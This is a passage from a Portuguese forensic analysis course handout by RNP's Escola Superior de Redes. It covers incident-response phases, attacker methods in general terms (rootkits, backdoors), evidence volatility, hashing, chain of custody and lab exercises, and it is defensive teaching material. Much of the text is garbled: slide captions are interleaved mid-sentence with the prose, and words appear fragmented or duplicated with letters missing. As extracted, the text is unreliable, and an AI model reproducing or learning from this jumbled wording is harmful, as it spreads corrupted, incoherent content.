Você está na página 1de 187

Segurança

Análise forense
Análise forense
Escola Superior de Redes RNP

Copyright © 2009, Escola Superior de Redes RNP

Autor
Guilherme Venere

Revisor
Pierre Lavelle

Supervisão técnica
Jacomo Piccolini

Coordenação acadêmica
Derlinéa Miranda

Revisão final
Pedro Sangirardi

Design
Tecnodesign

Coordenação geral
Luiz Coelho

Versão
2.0.2

Todos os direitos reservados, no Brasil, por


Escola Superior de Redes RNP
http://www.esr.rnp.br
Análise forense
Apresentação
A Escola Superior de Redes da Rede Nacional de Ensino e Pesquisa (RNP) oferece
cursos em tecnologia da informação e da comunicação para quem busca formação
essencialmente prática. As atividades são situações-problema semelhantes às que
são encontradas na prática do profissional de TI. Estas atividades exigem análise,
síntese e construção de hipóteses para a superação do problema. A aprendizagem
torna-se mais efetiva se contextualizada à realidade profissional.

Os cursos propostos possuem 40 (quarenta) horas de duração divididas em 10


(dez) sessões de aprendizagem. Os participantes trabalham em grupo ou em
duplas e cada um pode dispor de sua própria estação de trabalho. O material de
ensino é composto de apostilas contendo slides comentados e roteiro de
atividades práticas em laboratório.

Conhecimentos prévios

\\Principais ataques, mecanismos e ferramentas de segurança (como firewall,


IDS, VPN) e autenticação ou o curso Segurança de redes e sistemas.

Objetivos

\\Obter uma visão geral e conceitos de análise forense

\\Apresentar os principais procedimentos que devem ser seguidos pelo


investigador

\\Compreender as particularidades do processo de análise forense em Linux e


Windows e as informações que devem ser coletadas em cada situação enfrentada

\\Aprender a coletar evidências em uma imagem de disco de um sistema


comprometido

\\Recuperar evidências que possam fornecer pistas dos invasores


Escola Superior de Redes RNP

Ao final do curso o aluno terá aprendido a

\\Criar um CD de ferramentas forenses que poderá ser utilizado durante uma


investigação

\\Elaborar uma cronologia, descrevendo o que aconteceu e quando ocorreu cada


evento do comprometimento investigado

\\Conhecer a coleta de informações relacionadas aos programas executados, às


bibliotecas do sistema e portas relacionadas

\\Identificar o tipo de auditoria a ser realizada


Sumário
Sessão de aprendizagem 1
Princípios de análise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

Sessão de aprendizagem 2
Ambiente e ferramentas de análise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

Sessão de aprendizagem 3
Ambiente e ferramentas de análise forense (parte 2). . . . . . . . . . . . . . . . . . . . . 43

Sessão de aprendizagem 4
Coleta de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71

Sessão de aprendizagem 5
Recuperação e análise de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85

Sessão de aprendizagem 6
Recuperação e análise de evidências (parte 2). . . . . . . . . . . . . . . . . . . . . . . . . 99

Sessão de aprendizagem 7
Linha de tempo e reconstrução do ataque. . . . . . . . . . . . . . . . . . . . . . . . . . . 115

Sessão de aprendizagem 8
Análise forense em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123

Sessão de aprendizagem 9
Análise forense avançada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135

Sessão de aprendizagem 10
Análise forense avançada em Windows (parte 2). . . . . . . . . . . . . . . . . . . . . . . 155

Bibliografia. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181
Escola Superior de Redes RNP
1
Sessão de aprendizagem 1
Princípios de análise forense

Sumário da sessão

Princípios de análise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8

Motivações para investigar um incidente . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

Modo de ação dos atacantes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

Detecção de ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

Tipos de sistemas comprometidos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

Procedimentos para análise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

Cadeia de custódia de evidências . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

Metodologia para análise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

Atividade 1 – Preparando um checklist. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

Atividade 2 – Funcionamento de um rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

Atividade 3 – Investigando um computador. . . . . . . . . . . . . . . . . . . . . . . . . . . . 18


8
Escola Superior de Redes RNP

Princípios
p de análise forense
Princípios de análise forense

A resposta a um incidente de segurança está dividida


Resposta
R t a incidentes
i id t ded segurança
Preparação em seis passos:
Identificação \\Preparação – A empresa define os ativos que
Contenção
deseja proteger, e as medidas cabíveis em caso
Erradicação
de incidente.
R
Recuperação ã
Acompanhamento \\Identificação – São utilizados mecanismos e
técnicas para identificar a ocorrência de um
incidente, e definir a extensão do ataque.

\\Contenção – Deve-se conter o ataque, impedindo


que o invasor consiga acesso a outros sistemas
e minimizando a atividade do atacante.

\\Erradicação – As ações do atacante devem ser erradicadas, com a aplicação


de filtros e impedimento de qualquer atividade do invasor na rede.

\\Recuperação – Os sistemas invadidos devem ser recuperados e reinstalados.

\\Acompanhamento – As técnicas e vulnerabilidades utilizadas pelo atacante devem


ser estudadas, e medidas devem ser aplicadas para impedir que elas funcionem.

Incidentes de segurança podem ser causados por


Princípios
p de análise forense
qualquer tipo de ataque realizado à infra-estrutura
de informação de uma empresa, seja ele um ataque
A empresa ddeve ddefinir
fi i o que é um iincidente
id t dde
segurança de acordo com os ativos que deseja lógico ou um ataque físico. Os tipos mais comuns
proteger.
t são ataques lógicos como invasões de servidores e
Incidentes de segurança são eventos que interrompem ataques de negação de serviços, comprometimento
o procedimento normal de operação de uma empresa
e causam algum tipo de crise. ou perda de dados e infecção por vírus.
Podem ser ataques à infra-estrutura de informação de
uma empresa.
p É necessário criar procedimentos que descrevam
A prevenção dos incidentes é crucial. ações a tomar no caso da ocorrência de um incidente
de segurança, inclusive no caso de incidentes inespera-
dos. Deve-se gerar documentos que descrevam os pro-
cedimentos de resposta a incidentes, os responsáveis
pelas ações, a ação legal que a empresa está disposta
a executar e principalmente um checklist de ação para
Princípios
p de análise forense
o profissional que vai responder ao incidente.
Análise forense é o segundo passo no processo de
resposta a incidentes. O analista forense deve se preocupar em tentar recu-
Existe uma sobreposição com o primeiro e com o perar as evidências da forma mais confiável possível,
terceiro passo: o analista forense deve participar do evitando contaminar ou destruir evidências.
processo de preparação pré-incidente,
é e também
é do
processo de contenção pós-incidente.
Recuperar e analisar dados da maneira mais imparcial Registrando e documentando tudo o que foi feito,
e livre de distorções possível, para reconstruir os o analista não precisará confiar na memória mais
dados ou o que aconteceu a um sistema no passado.
tarde, no momento de reconstruir os passos que
foram executados durante a coleta de dados ou
apresentar resultados aos superiores.

Análise forense – Sessão de aprendizagem 1


9

Por este mesmo motivo é bom sempre realizar análises dos dados em cópias,
mantendo os originais seguros contra modificações e permitindo que seus passos
sejam repetidos posteriormente.

Durante o processo de análise forense, é comum


Princípios
p de análise forense
aparecerem informações indicando comprometi-
mento de outros sistemas da empresa ou mesmo
Minimizar
Mi i i perda d de
d dados
d d
Evitar contaminação dos dados de outras empresas. É importante que o analista
Registrar e documentar todas as ações forense reporte frequentemente o andamento das
Analisar, impreterivelmente, dados em cópias investigações e os fatos relevantes descobertos,
Reportar as informações coletadas para que a empresa possa tomar as medidas
Pi i l t manter-se
Principalmente: t i i l
imparcial necessárias.

“É um erro capital teorizar antes de obter todas as evidências.”


Sherlock Holmes É preciso que se mantenha total imparcialidade
durante a investigação. Antes de apontar o culpado,
tenha certeza de que ele não é inocente.

Motivações
ç ppara investigar
g um incidente
Motivações para investigar um incidente

\\Identificar sinais de ataque – Em muitas situações,


Razões
R õ para não ã iinvestigar
ti um iincidente:
id t
Custo quando uma máquina está comprometida, ela
Demora começa a perder desempenho, pois está sendo
Falta de objetividade utilizada pelo hacker ou vírus para fins diferentes
Disponibilização de recursos importantes daqueles aos quais se destina. Um dos passos
P
Processo d
que demanda d tempo
t e recursos, nem de uma análise forense é tentar identificar sinais
sempre útil para a empresa.
de comprometimento. Isto pode ajudar a empresa
É mais fácil reinstalar um computador do que realizar
uma investigação. a descobrir se outros servidores que apresentam
o mesmo comportamento estão comprometidos
ou não.

\\Determinar a extensão do comprometimento –


Como foi dito, durante o processo de análise
Motivações
ç ppara investigar
g um incidente forense é comum aparecerem informações sobre
o comprometimento de outros sistemas dentro
Então,
E tã por que iinvestigar?
ti ? ou fora da empresa. Descobrir as máquinas que
Identificar sinais de ataque foram comprometidas é importante para manter
Determinar a extensão do comprometimento
a integridade da informação a ser protegida.
Reconstruir a ordem dos eventos
Entender o modus operandi do atacante \\Reconstruir a ordem dos eventos – Com
R d
Responder: isso é possível descobrir o que o invasor fez
O quê? durante o período em que teve acesso ao
Quando?
sistema da empresa. A correlação de eventos
Onde?
pode ajudar a empresa a determinar o que foi
Como?
comprometido, e principalmente quando ocorreu
o comprometimento. É muito comum descobrir,
por exemplo, que a empresa já estava invadida
há meses, e que só por algum descuido do
invasor é que tudo foi descoberto.

Princípios de análise forense


10
Escola Superior de Redes RNP

\\Entender o modus operandi do atacante – Este item faz da análise forense


uma poderosa ferramenta de proteção contra ataques. Sabendo como
o atacante agiu da primeira vez, a empresa vai poder tomar ações bem
fundamentadas para se proteger contra novos ataques.

Modo de ação
ç dos atacantes
Modo de ação dos atacantes

É claro que nem todos os hackers agem do mesmo


IInformação
f ã é a sua maior
i arma.
Conhecendo o modo de operação dos invasores, você modo, mas pode-se dizer que uma grande parte
pode melhorar suas defesas; facilita o trabalho de deles segue um padrão de ação comum. Conhecer
investigação, porque você já sabe o que procurar. esse padrão já é um bom começo para analisar um
Técnicas de engenharia social são difíceis de sistema que provavelmente foi comprometido.
combater: somente um treinamento adequadoq pode
p
diminuir esse risco.
A maior parte dos ataques segue um mesmo padrão. Normalmente, os ataques se iniciam algum tempo
antes da invasão propriamente dita: o invasor precisa
conhecer sua rede, saber como vai conseguir com-
prometer seu sistema. Portanto, as atividades de
reconhecimento podem ser o primeiro indício de que
algo está para acontecer.

Um tipo de teste difícil de detectar é um reconhecimento que utiliza técnicas de


engenharia social. Um simples telefonema pode ser mais eficiente para entregar os
pontos fracos de sua rede do que uma ferramenta poderosa. Neste caso, a prote-
ção fica mais difícil, e só um treinamento adequado poderá proteger a empresa.

Depois de coletar informações sobre o sistema que


Modo de ação
ç dos atacantes
vai invadir, o hacker parte para a invasão. Nesta
hora, já se torna mais difícil detectar as atividades
Identificação
Id tifi ã d do alvo
l
Coleta de informações do invasor. Muitas vezes são utilizadas ferramentas
Identificação de vulnerabilidades que simulam uma conexão válida, ou então técnicas
Comprometimento do sistema para esconder o ataque, como criptografia ou túneis
Controle do sistema de protocolos.
I t l ã d
Instalação de fferramentas
t
Remoção de rastros Mecanismos de detecção de intrusão são muito
Manutenção do sistema comprometido
úteis. Posteriormente, estes mesmos mecanismos
poderão ser atualizados com as informações coleta-
das após um ataque. Analisando a técnica utilizada
pelo invasor, a empresa poderá criar mecanismos
mais eficientes para se defender.

Após comprometer o sistema, o invasor normalmente tenta tomar o controle


do sistema. O invasor precisa então tentar adquirir privilégios de administrador.
Ferramentas que monitorem a integridade do sistema podem auxiliar a detectar
uma invasão antes que ela se torne mais séria. Programas como Tripwire permi-
tem monitorar a integridade dos arquivos de uma máquina.

Análise forense – Sessão de aprendizagem 1


11

Após conseguir o acesso privilegiado ao sistema, o invasor tenta apagar os rastros de


sua existência, para impedir que ele seja detectado enquanto estiver realizando suas
ações maldosas. Neste momento, é comum o invasor instalar um rootkit, um pacote
de ferramentas que modifica o sistema para esconder qualquer traço da existência
do hacker na máquina. Ao instalar uma ferramenta como esta, o hacker praticamente
passa a controlar a máquina. Pode-se utilizar uma ferramenta de detecção de rootkits,
tal como o Chkrootkit, para tentar detectar a presença dessas ferramentas. Outra
alternativa é monitorar a rede para descobrir se a máquina está comprometida.

Hoje em dia, sistemas comprometidos têm um alto valor de troca no submundo da inter-
net. Ferramentas de negação de serviço podem ser instaladas em diversos sistemas
comprometidos, e o poder somado desses sistemas pode ser trocado no submundo
por informação ou mesmo por dinheiro. Como podemos ver, a invasão de sistemas não
é só uma diversão para alguns invasores, podendo ser um negócio bem rentável.

Uma característica do comportamento de invasores é a manutenção do sistema compro-


metido. É muito comum ver máquinas comprometidas atualizadas pelo hacker, corrigindo
as falhas de segurança que permitiram a sua entrada. Para garantir que poderão voltar no
futuro, os invasores costumam instalar back-doors, serviços clandestinos que permitem ao
invasor se conectar mais tarde com as permissões privilegiadas que conseguiu.

Detecção
ç de ataques
q
Detecção de ataques

Padrão
P d ã para d detectar
t t mais i ffacilmente
il t um ataque
t :
Monitoramento da rede
Detecção de assinaturas de ataques e modificações
no sistema
Utilização de ferramentas de auditoria
Principalmente conhecimento de seus sistemas e de
Principalmente,
sua rede

Tipos
p de sistemas comprometidos
p
Tipos de sistemas comprometidos

Neste caso, a coleta de evidências fica mais fácil: as


Sistema
Si t d
desligado:
li d
Sem atividade no disco rígido informações voláteis presentes na memória do com-
Evidências voláteis perdidas putador ou na tela foram perdidas. O sistema agora
Sem atividade do invasor contém apenas os arquivos que foram gravados no
Sem necessidade de contenção do ataque disco rígido, evidências que deverão ser coletadas.
P i l t algumas
Possivelmente l idê i fforam modificadas
evidências difi d

Princípios de análise forense


12
Escola Superior de Redes RNP

A ação do analista forense tem que ser muito cuida-


Tipos
p de sistemas comprometidos
p
dosa, para não despertar a atenção do invasor, não
comprometer evidências, mas também para impedir
Sistema
Si t liligado:
d
Atividade no disco rígido que mais dano seja causado. Por outro lado, em um
Atividade de rede sistema ligado, o analista forense tem a possibilidade
Evidências voláteis de coletar informações que não estariam disponíveis
Possibilidade de atividade do invasor em um sistema desligado.
N
Necessidadeid d dde conter
t o ataque
t
Modificação das evidências Por exemplo, é possível coletar informações de
rede, permitindo identificar com mais segurança se
o sistema está comprometido ou não, e também
identificar outras máquinas na rede da empresa que
também possam estar comprometidas.

Tudo o que for feito poderá alterar as evidências,


Tipos
p de sistemas comprometidos
p
inclusive não fazer nada. Portanto, as ações do ana-
lista forense têm que ser bem pensadas, e é muito
Sistema
Si t liligado:
d
Verificar se o sistema está comprometido importante que todas as ações sejam documentadas.
Não comprometer as evidências
Conter o ataque A primeira coisa a fazer é tentar identificar, da forma
Coletar evidências menos intrusiva possível, se o sistema suspeito está
P
Power-off ff ou shutdown?
h td ? ou não comprometido. Algumas técnicas, como
Power-off: não modifica evidências, mas pode corromper os
dados realizar um scan por portas abertas no sistema, ou
Shutdown: garante integridade dos dados, mas pode procurar por arquivos suspeitos no espaço de disco,
modificar evidências
devem ser evitadas a todo custo. Estas ações podem
disparar alarmes que alertariam o invasor de que ele
foi descoberto, além de comprometer evidências.

Dependendo da criticidade do sistema, muitas vezes não será possível simplesmente


desligar a máquina da energia. Um servidor de banco de dados teria informações
corrompidas se fosse desligado da tomada. Ou então, ao tentar executar uma parada
do sistema, mecanismos de proteção instalados pelo invasor poderiam apagar todo o
disco, provocando o desaparecimento de evidências e dados importantes.

Procedimentos ppara análise forense


Procedimentos para análise forense

A reação precisa ser rápida,


rápida por isso esteja preparado
A primeira fase de uma investigação forense é a pre-
Tenha em mãos um checklist de ações e todas as paração, como foi dito anteriormente: saber o que
ferramentas necessárias pode e o que não pode ser desligado, elaborar um
Esterilize as mídias antes de coletar evidências
checklist de ações que devem ser tomadas, e princi-
C l t primeiro
Colete i i as evidências
idê i mais i voláteis
lát i
Crie e utilize uma dirt list: uma lista de palavras, termos e palmente preparar as ferramentas necessárias.
nomes que podem d indicar
i di um comprometimento ti t
Esta lista deve ser utilizada em todo o processo de
in estigação e atualizada
investigação at ali ada constantemente
É importante também esterilizar as mídias onde serão
Crie um registro para cada evidência e faça um relatório da gravadas as evidências, para evitar a contaminação
sua investigação com dados previamente gravados nas mesmas.

Análise forense – Sessão de aprendizagem 1


13

Esterilizar as mídias significa eliminar quaisquer dados que possam existir nos discos
e dispositivos utilizados para gravar suas evidências. Normalmente, basta executar
um procedimento de gravação de zeros (byte 00) em todos estes dispositivos,
sobrescrevendo qualquer dado que exista ali, antes de gravar qualquer evidência.

Evidências voláteis são aquelas que se perdem mais facilmente, caso o sistema
seja desligado ou ações executadas pelo hacker ou pelo analista sobrescrevam
informações. Exemplos: dados na memória RAM, processos em execução, cone-
xões estabelecidas, entre outros.

Uma maneira de ajudar o analista forense a procurar evidências é utilizando uma


dirt list, ou lista maliciosa, que deve conter palavras, termos, nomes de ferramentas
e pessoas que tenham ligação com ataques, grupos de hackers, atividades crimi-
nosas, entre outros. Com isso, o analista poderá realizar pesquisas nas evidências
procurando pela presença dessas palavras-chave. Esta lista deve ser atualizada
constantemente para incluir palavras e nomes encontrados durante a investigação.

Toda informação coletada durante a avaliação inicial


Procedimentos ppara análise forense
e durante a investigação deve ser documentada e
autenticada. Esta autenticação pode ser feita utili-
O d de
Ordem d coleta
l t de
d evidências:
idê i
Informações sobre o ambiente (ambiente operacional, zando algum algoritmo de hash de dados, tal como
f t dda sala
fotos l e da
d tela
t l ddo computador)
t d ) MD5, SHA1, SHA256 ou outro algoritmo de hash
Cópia binária da memória RAM equivalente.
Informações sobre processos em execução, conexões de
rede, registros, cache etc.
Informações sobre o tráfego de rede Tenha sempre em mãos um checklist que indique o que
Cópias
p dos discos rígidos
g fazer e quando. O checklist deve ser o mais minucioso
Possíveis mídias removíveis (fitas, disquetes, CD-ROM) possível, não deixando dúvidas sobre as ações a serem
Material impresso (adesivos
(adesivos, folhas impressas)
tomadas. Se possível, ele deve incluir os comandos e
argumentos que precisam ser usados em cada etapa.

Na coleta de evidências, devemos seguir a ordem de


Procedimentos ppara análise forense volatilidade das informações: informações voláteis
são aquelas que se perdem com mais facilidade.
Criar
C i registro
i t para cada
d evidência
idê i
Criar assinatura das evidências:
Há poucos anos, utilizava-se o algoritmo MD5 como
MD5
SHA1 padrão, mas devido a pesquisas recentes sobre
SHA256 ataques contra a segurança desse algoritmo e do
Evitar comprometer evidências próprio SHA1, a comunidade internacional começou a
Criar relatório detalhado da investigação: desenvolver novos algoritmos para substituí-los.
Comandos executados
Pessoas entrevistadas
E idê i coletadas
Evidências l t d Teoricamente, estes algoritmos têm um baixo índice
de colisão, isto é, dificilmente geram uma mesma
chave criptográfica a partir de dados diferentes.
Entretanto, pesquisas detectaram uma possibilidade
de gerar colisões com taxas de probabilidade bem menores do que deveriam
ocorrer naturalmente com estes algoritmos. Por isso, recomenda-se a utilização
de algoritmos melhores e mais atuais.

Princípios de análise forense


14
Escola Superior de Redes RNP

Cadeia de custódia de evidências


Cadeia de custódia de evidências

Este registro visa garantir que as evidências não


Registro
R i t ddetalhado
t lh d ddo modod como as evidências
idê i
foram tratadas durante a análise forense, desde a foram modificadas ou comprometidas, acidental-
coleta
l t até
té os resultados
lt d fifinais.
i mente ou propositalmente, durante o processo de
Este registro deve conter informações sobre quem análise forense. Isto é importante principalmente se
teve acesso às evidências ou às cópias utilizadas.
o caso vai ser tratado judicialmente. Em juízo, será
Durante um p processo judicial,
j este registro
g vai
garantir que as provas não foram comprometidas. necessário comprovar que as evidências são válidas
Cada evidência coletada deve ter um registro de legalmente, e um registro mal feito pode colocar a
custódia associada a ela. perder um caso inteiro. Um cuidado especial deve
ser dado às evidências digitais, pois elas são mais
facilmente modificadas ou destruídas.

Cadeia de custódia de evidências

Um registro de custódia deve conter pelo menos os


seguintes itens:
Data e hora de coleta da evidência
De quem a evidência foi apreendida
Informações sobre o hardware
hardware, como fabricante,
fabricante modelo,
modelo
números de série etc.
Nome da pessoa que coletou a evidência
Descrição detalhada da evidência
Nome e assinatura das pessoas envolvidas
Identificação do caso e da evidência (tags)
Assinaturas MD5/SHA1 das evidências
evidências, se possível
Informações técnicas pertinentes

Metodologia
g ppara análise forense
Metodologia para análise forense

Procedimentos do analista forense são invariáveis


Independentemente do sistema invadido ou do
Utilidade de metodologia bem definida método utilizado na invasão, os procedimentos segui-
Os passos de uma investigação são cíclicos: dos pelo analista forense não variam. Uma metodolo-
Cada ppasso alimenta o conjunto
j de evidências e gia bem definida facilita o trabalho do investigador e
fornece novas bases para o investigador procurar ajuda a mantê-lo focado.
ppor mais evidências na próxima
p fase.
Os passos devem ser repetidos até que:
Chegue se a uma conclusão
Chegue-se
Os passos que devem ser seguidos em uma investi-
Não existam mais informações úteis a encontrar gação são cíclicos: cada passo alimenta o conjunto
de evidências e fornece novas bases para o inves-
tigador procurar por mais evidências na próxima
fase. Os passos devem ser repetidos até que se
consiga chegar a uma conclusão, ou até decidir que não há mais informações
úteis a serem encontradas.

O primeiro passo da investigação das evidências é tentar estabelecer uma linha


de tempo para o ataque e para as evidências encontradas durante a fase inicial de
análise. Com a linha de tempo, o investigador pode ter uma base para procurar
por novas evidências, arquivos e dados que possam ter relação com o caso.

Análise forense – Sessão de aprendizagem 1


15

O passo seguinte é analisar esses arquivos e dados para identificar sua relação
com o caso, funcionalidades e informações importantes que possam conter.

A seguir, o investigador deve realizar uma análise no nível de dados do sistema


operacional, procurando por strings e bytes que possam ser importantes para a
investigação. Deve-se voltar à linha de tempo do incidente, pra inserir os novos
dados coletados e associar essas informações com o caso. Com essas novas
informações, o investigador terá uma nova base para procurar por mais evidên-
cias, e assim o processo se repete até que o caso seja solucionado ou se decida
que o esforço e o custo da investigação já não valem mais a pena.

Finalmente, quando já tiver sido realizada uma análise o mais completa possível,
deve-se gerar um relatório com os resultados encontrados e técnicas utilizadas,
e uma conclusão para o caso alcançada, com base nas evidências coletadas
durante a investigação.

Conclusões
Conclusões

O sucesso da investigação depende de uma preparação


A seguir prepararemos o ambiente de análise forense
prévia e conheceremos as ferramentas necessárias para a
Informação é a melhor arma contra os invasores investigação.
Tenha em mãos:
Todas as informações sobre o sistema comprometido
Todas as ferramentas necessárias
Não comprometa as evidências
A cadeia de custódia de evidências garante uma
representação fiel dos dados originais
Adote uma metodologia e seja imparcial e preciso em suas
ações

Princípios de análise forense


16
Escola Superior de Redes RNP

Análise forense – Sessão de aprendizagem 1


1
Sessão de aprendizagem 1
Princípios de análise forense
Roteiro de atividades

Tópicos e conceitos

\\Preparação para uma investigação e identificação de formas de ataque.

Competências técnicas desenvolvidas

\\Elaboração de um checklist, atualização em relação às formas de ataque


rootkit;

\\Investigação do comprometimento de computadores.

Outras competências desenvolvidas

\\Capacidade de investigação e pesquisa.

Tempo previsto para as atividades

\\90-120 minutos
18
Escola Superior de Redes RNP

Atividade 1 – Preparando um checklist

1. Este exercício deve ser feito em dupla. Suponha que em sua empresa
existe um servidor web considerado crítico, que hospeda todo o sistema
de gerenciamento de projetos da empresa e não pode ficar parado. Um
backup diário dos dados é realizado constantemente. Deve-se supor que
os integrantes da dupla fazem parte da comissão que está definindo os
procedimentos a adotar quando ocorrer um incidente de segurança
envolvendo a máquina do servidor. Pensando em todas as implicações
destas ações, defina o que deve ser feito no caso de:

1. Ataque de negação de serviço;

2. Comprometimento da máquina por ação hacker.

Discuta com seu parceiro os procedimentos e monte um checklist das ações que
devem ser tomadas. Procure ser o mais objetivo possível, de modo que uma pes-
soa que siga o checklist não precise tomar nenhuma decisão. Pense que em um
momento de crise, a pessoa referida não pode perder tempo tomando decisões.

Atividade 2 – Funcionamento de um rootkit

Junto com um colega, pesquise na internet informações sobre rootkits que


os invasores usam para tomar controle de um servidor, tanto em servidores
Unix quanto Windows. Procure informações sobre um rootkit da sua escolha
para saber suas funcionalidades, e os modos para detectar a presença dele
em uma máquina. Elabore um documento sobre este rootkit, descrevendo o
modus operandi do mesmo, funcionalidades, dificuldade de detecção e, se
possível, formas de detectá-lo e removê-lo do sistema. O instrutor vai
escolher alguns alunos para apresentar este documento aos demais.

Atividade 3 – Investigando um computador

(Para fazer em dupla) Você deve verificar se a máquina de seu companheiro


está comprometida. Lembre-se dos passos necessários para garantir a
integridade das evidências. Usando as ferramentas do sistema, você deve
descobrir todos os serviços TCP ativos na máquina. Para este exercício,
vamos considerar como comprometido o serviço Bootp (porta 68) no Linux,
ou o serviço Netbios (porta 445) no Windows. Se o serviço estiver sendo
executado, a máquina está comprometida. Faça um relatório de todas as
ações tomadas durante a investigação, bem como um registro de custódia
de qualquer evidência coletada.

Como sugestão, utilize o roteiro criado na Atividade 1; ele facilita a investigação?


Quais foram os problemas encontrados ao seguir o roteiro? Sugira modificações ao
roteiro.

Análise forense – Sessão de aprendizagem 1


2
Sessão de aprendizagem 2
Ambiente e ferramentas de análise forense

Sumário da sessão

Pré-requisitos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20

Hardware. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20

Sistema operacional. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

Live CD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

Hardware forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

Pacote forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24

Programas específicos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

Preparação da investigação. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29

Preparação do ambiente. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29

Coletando informações dos processos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31

Preservação do disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

Outras formas de preservação do disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41

Atividade 1 – Kit do investigador. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42

Atividade 2 – Coleta de informações voláteis . . . . . . . . . . . . . . . . . . . . . . . . . . 42


20
Escola Superior de Redes RNP

Pré-requisitos
Pré-requisitos

Durante o atendimento inicial ao incidente, o inves-


A primeira ação do investigador é coletar evidências
no local onde ocorreu a invasão. tigador vai precisar da recuperação de arquivos em
Após isso, entra em cena a análise de mídias. memória, coleta de cópias fiéis dos discos rígidos e
O investigador precisará analisar dezenas de dispositivos de armazenagem presentes na máquina
gigabytes de dados, e por isso deve contar com um investigada, cópia da memória RAM, coleta de infor-
ambiente propício, com ferramentas que facilitem seu
trabalho. mações de conexões de rede, entre outros.

Em alguns incidentes, onde ocorre o envolvimento


de autoridades policiais, é necessário manter sob
guarda o disco original da máquina envolvida no inci-
dente. No Brasil, somente um perito autorizado pode
coletar, de forma legal, evidências na cena de um
incidente. A empresa ou responsável pela máquina
Pré-requisitos
deve garantir apenas armazenamento e custódia
O objetivo da análise de mídias é coletar evidências que
seguros do equipamento.
comprovem ou refutem a invasão.
As evidências originais devem ser preservadas, por isso a A utilização de hashes MD5/SHA1 garante que as evi-
análise deve ser feita em cópias das mídias.
dências coletadas durante uma investigação possam
O analista deve evitar comprometer as evidências, e
garantir que todos os resultados possam ser ser comparadas posteriormente, caso seja necessário
reproduzidos, o que envolve a criação e manipulação de refazer os passos da análise forense. Duas evidências
dezenas de gigabytes de dados.
Além disso, o sistema invadido não é confiável, portanto o coletadas com a mesma técnica e que tenham os
investigador precisa dispor de um ambiente confiável e mesmos hashes são garantidamente iguais.
controlado para realizar a investigação.

Em um sistema invadido, o hacker pode ter modifi-


cado arquivos, kernel, bibliotecas compartilhadas,
módulos carregados. Portanto, nenhum arquivo existente na máquina é confiável.
Se existir um rootkit e o investigador utilizar os comandos do sistema para listar
processos ou arquivos, não verá as informações escondidas pelo rootkit. O inves-
tigador deve sempre utilizar suas próprias ferramentas e bibliotecas.

Hardware
Hardware

O sistema deve ter baias para conectar os discos


Quanto mais memória RAM e mais processamento
houver, melhor. de evidências. De preferência, as baias devem ser
O espaço livre em disco deve ser generoso, algumas configuradas para jamais iniciarem o sistema a partir
vezes podendo analisar centenas de gigabytes. dos discos contidos nelas.
O sistema deve ter baias para conectar os discos de
evidências.
Um notebook é imprescindível quando não for
Um notebook é imprescindível quando não for pos-
possível remover o disco de evidência. sível remover o disco de evidência. Este notebook
Além disso, o investigador deve dispor de deve conter as mesmas ferramentas da estação
equipamentos de rede diversos. forense. Além disso, o investigador deve dispor de
equipamentos de rede diversos: hubs, cabos cross-
over e normais, placas de rede normais e wireless,
disco rígido externo (USB e paralelo), bem como um equipamento para realizar
cópias de disco automaticamente.

Análise forense – Sessão de aprendizagem 2


21

Sistema operacional
Sistema operacional

Deve-se levar em conta que às vezes vai ser neces-


Entre os pontos que devem ser levados em
consideração na hora de escolher o sistema sário investigar um sistema sem dispositivos padrão,
operacional, podemos citar os seguintes: como os presentes em um computador comum. Por
Familiaridade do investigador com o sistema exemplo, como investigar incidentes envolvendo um
operacional
PDA, ou uma estação RISC/Solaris? Os dispositivos
Disponibilidade de ferramentas
Capacidade do sistema operacional de reconhecer
de disco são diferentes, e o sistema operacional da
diversos tipos de mídias ou sistemas de arquivos estação forense precisa reconhecer esses equipa-
diferentes mentos. Alguns softwares para Windows, como o
Mecanismos de segurança disponíveis no sistema EnCase, têm um suporte melhor para imagens de
